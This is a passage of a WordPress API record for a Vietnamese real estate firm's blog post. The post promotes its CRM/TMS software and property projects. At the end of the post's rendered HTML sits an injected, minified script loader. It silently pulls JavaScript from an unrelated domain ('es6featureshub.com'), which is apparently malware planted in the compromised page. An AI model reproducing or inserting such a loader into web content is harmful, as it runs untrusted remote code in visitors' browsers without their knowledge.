nhi\u1ec1u gi\u00e1 tr\u1ecb v\u00e0 tr\u1ea3i nghi\u1ec7m \u0111\u1ed9t ph\u00e1 cho kh\u00e1ch h\u00e0ng c\u0169ng nh\u01b0 ch\u1ee7 \u0111\u1ea7u t\u01b0, gi\u00fap h\u1ecd mua \u2013 b\u00e1n giao d\u1ecbch B\u0110S d\u1ec5 d\u00e0ng, minh b\u1ea1ch v\u00e0 hi\u1ec7u qu\u1ea3. <br>Hi\u1ec7n nay, RETI \u0111\u00e3 v\u00e0 \u0111ang ph\u00e2n ph\u1ed1i r\u1ea5t nhi\u1ec1u d\u1ef1 \u00e1n l\u1edbn tr\u00ean c\u1ea3 n\u01b0\u1edbc, nh\u01b0: Sun Grand Boulevard, Sun Riverside Village, BRG Diamond Residence, Sun Grand City Thu\u1ef5 Khu\u00ea, Meyhomes Capital Ph\u00fa Qu\u1ed1c, Sun Grand City Feria H\u1ea1 Long, Sunshine Crystal River, Sun Onsen Village Limited Edition, Sun Grand City Hillside Residence, Vegacity Nha Trang&#8230;<br>Website:\u00a0<a href=\"https:\/\/reti.vn\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/reti.vn\/<\/a><br>Fanpage:\u00a0<a class=\"rank-math-link\" rel=\"noreferrer noopener\" href=\"https:\/\/www.facebook.com\/retiproptech\" target=\"_blank\">https:\/\/www.facebook.com\/retiproptech<\/a><br>Hotline: 098 712 6898<br>Email: support@reti.vn<\/td><\/tr><\/tbody><\/table><\/figure>\n<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script>","protected":false},"excerpt":{"rendered":"<p>Ph\u1ea7n m\u1ec1m TMS t\u00edch h\u1ee3p \u0111a d\u1ea1ng c\u00e1c ch\u1ee9c n\u0103ng cho ph\u00e9p h\u1ed7 tr\u1ee3 t\u1ef1 \u0111\u1ed9ng h\u00f3a v\u00e0 qu\u1ea3n l\u00fd c\u00e1c ho\u1ea1t \u0111\u1ed9ng kinh doanh c\u1ee7a doanh nghi\u1ec7p. H\u00e3y c\u00f9ng RETI t\u00ecm hi\u1ec3u v\u1ec1 c\u00e1ch n\u1ec1n t\u1ea3ng TMS h\u1ed7 tr\u1ee3 Sales Agent ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng trong b\u00e0i vi\u1ebft d\u01b0\u1edbi \u0111\u00e2y. T\u1ea1i sao n\u00ean d\u00f9ng [&hellip;]<\/p>\n","protected":false},"author":36,"featured_media":32146,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[20],"tags":[],"class_list":["post-32144","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tin-va-su-kien-noi-bo"],"external_url":"","amp_enabled":true,"featured_image_url":"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/tai-sao-nen-dung-phan-mem-crm.png","_links":{"self":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/32144","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/users\/36"}],"replies":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/comments?post=32144"}],"version-history":[{"count":0,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/32144\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media\/32146"}],"wp:attachment":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media?parent=32144"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/categories?post=32144"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/tags?post=32144"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}